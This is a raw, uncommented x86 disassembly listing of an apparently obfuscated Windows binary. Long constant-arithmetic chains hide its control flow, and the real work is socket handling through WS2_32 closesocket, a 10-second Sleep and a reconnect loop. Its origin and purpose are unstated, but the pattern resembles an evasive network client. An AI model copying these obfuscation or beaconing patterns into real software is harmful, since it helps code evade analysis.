mov ecx, 0x78f82adf
xor edx, edx
div ecx
add eax, 0x56551f4f
add eax, 0xe92e0199
add eax, 0x9022def4
imul eax, eax, 0xaefc676d
xor eax, 0x6f6a4
imul eax, eax, 0x84c93e28
or eax, 0x931ce7a8
add eax, 0x579500ed
and eax, 0xa9ac98bd
xor eax, 0x4f38f4d5
imul eax, eax, 0xf25fb6cc
xor eax, 0x6a4fb604
and eax, 0xef125b1c
xor eax, 0xecb5cda8
and eax, 0xe0866cda
cmp eax, 0xac48fe46
jae 0x10066bb5
mov edi, dword [esi + 0x30]
mov eax, dword [0x100d5068]
sub eax, dword [0x100d506c]
or eax, 0xfd307949
xor eax, 0xf6d2d7fb
mov ecx, 0xd3ad0430
xor edx, edx
div ecx
xor eax, 0xcbcaebd9
xor eax, 0x3bf02ace
add eax, 0xd2869457
and eax, 0x1cc2e216
mov ecx, 0xe7f79212
xor edx, edx
div ecx
mov ecx, 0xfb83774c
xor edx, edx
div ecx
xor eax, 0xed57902a
or eax, 0x555d9120
and eax, 0x1916a681
sub eax, 0x704621e9
add eax, 0x58bbc0f6
mov ecx, 0x7fbfa6f7
xor edx, edx
div ecx
mov ecx, 0xe4a88ee4
xor edx, edx
div ecx
xor eax, 0x8c6a567d
or eax, 0xf11edf74
mov ecx, 0xec31bc40
xor edx, edx
div ecx
mov ecx, 0x59f8ae
xor edx, edx
div ecx
and eax, 0xb04c9ef3
imul eax, eax, 0xea7b3ad3
sub eax, 0xc8869ffc
add eax, 0xb7b4379a
mov ecx, 0xd151c8c6
xor edx, edx
div ecx
add eax, 0x8f03659
xor eax, 0xe6eed17a
and eax, 0x671ed357
add eax, 0xb457b855
imul eax, eax, 0xa5e490e2
and eax, 0x3fd6df71
or eax, 0xe91a6321
or eax, 0x7233059e
imul eax, eax, 0x64d3c60f
or eax, 0xde8c2d95
add eax, 0xe6eb94d3
or eax, 0x3cd8e386
add eax, 0xfbca4859
sub eax, 0xfd3a9284
mov ecx, 0xb857993e
xor edx, edx
div ecx
add eax, 0xeeb3fa9
mov ecx, 0x349b69c9
xor edx, edx
div ecx
mov ecx, 0xe356ef36
xor edx, edx
div ecx
add eax, 0x663026b1
and eax, 0x41e579ed
or eax, 0xcb8a0498
imul eax, eax, 0x476deb70
add eax, 0x1964593e
or eax, 0x42f92e1f
xor eax, 0xedbfa200
xor eax, 0x6d874f9b
mov ecx, 0xd0e03cfb
xor edx, edx
div ecx
and eax, 0xbbf00e33
xor eax, 0xa0d87a8a
xor eax, 0x2d630f1c
imul eax, eax, 0x7b47e7a1
mov ecx, 0x6c5fb517
xor edx, edx
div ecx
and eax, 0x8c681954
imul eax, eax, 0xa88bb61c
xor eax, 0x7b0e256e
imul eax, eax, 0x2e235f7f
xor eax, 0x3e6b7101
imul eax, eax, 0x3519c833
add eax, 0x27502636
imul eax, eax, 0x427094f2
imul eax, eax, 0x16d4a6cb
and eax, 0xcbdd2139
imul eax, eax, 0xfb3aee6b
mov ecx, 0xed4b01f0
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0xc8]
imul ecx, ecx, 0x3493a9c5
add ecx, 0x2ee82fbb
and ecx, 0xdf58ee88
mov dword [esi + 4], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x34]
mov ecx, dword [esi + 0x2c]
mov eax, dword [esi + 4]
mov edi, dword [edi]
mov edi, dword [edi]
mov ebx, dword [edi]
sub ebx, 0x2c
mov dword [edi], ebx
mov edi, dword [edx]
mov edi, dword [edi]
add edi, 0x2c
mov edx, dword [edx]
mov dword [edx], edi
mov dword [ecx], 1
cmp eax, 0xcd265a2b
ja 0x10066752
jmp 0x1006695c
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov dword [esi], eax
mov ecx, dword [esi + 0x138]
xor ecx, ebp
call fcn.1007c2bf
mov eax, dword [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x100d6360]
jmp 0x10062e71
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0x70]
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
call dword [eax]
mov ecx, dword [esi + 0x74]
mov eax, dword [esi + 0x7c]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.1007fc80
mov eax, dword [esi + 0x7c]
add esp, 0xc
mov dword [eax + 4], 2
mov dword [eax + 8], 1
jmp 0x10063d27
jmp 0x100643db
mov eax, dword [esi + 0x2c]
mov dword [eax], 0
jmp 0x100648f0
mov eax, dword [esi + 0xc8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x34]
mov edx, dword [esi + 0x38]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10062c80
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0x2c]
mov dword [eax], ecx
jmp 0x10064d21
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.1002a960
add esp, 0xc
jmp 0x100650d9
mov ecx, dword [esi + 0x30]
mov eax, dword [esi + 0xd8]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.10050440
mov ecx, dword [esi + 0xe8]
mov edx, dword [esi + 0x30]
add esp, 0xc
mov eax, dword [esi + 0xd8]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.10050440
add esp, 0xc
mov eax, dword [esi + 0x30]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1007c2b1
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x34]
mov eax, dword [eax]
mov dword [eax], ecx
sub esp, 8
mov dword [esp], 0x2a
mov dword [esp + 4], 0x10
call fcn.1004dc60
add esp, 8
jmp 0x10065478
mov eax, dword [esi + 0xf8]
mov dword [eax], 0
jmp 0x10065878
jmp 0x10065c0f
mov eax, dword [esi + 0xf8]
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x10066001
mov ecx, dword [esi + 0xd8]
mov edi, dword [esi + 0xe0]
mov eax, dword [esi + 0xdc]
mov edx, dword [esi + 0x34]
mov ebx, dword [esi + 0xe4]
mov dword [ebx], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [edi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1007f180
mov edx, dword [esi + 0xdc]
mov ecx, dword [esi + 0xe0]
mov eax, dword [esi + 0xd8]
add esp, 0xc
mov edi, dword [edx]
mov edx, dword [ecx]
add edx, edi
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1007fc80
add esp, 0xc
jmp 0x1006636e
mov eax, dword [esi + 0xc8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x30]
mov ecx, dword [esi + 0x34]
mov eax, dword [esi + 0x2c]
mov edx, dword [edx]
mov edx, dword [edx]
mov edi, dword [edx]
sub edi, 0x2c
mov dword [edx], edi
mov edx, dword [ecx]
mov edx, dword [edx]
add edx, 0x2c
mov ecx, dword [ecx]
mov dword [ecx], edx
mov dword [eax], 1
jmp 0x10066752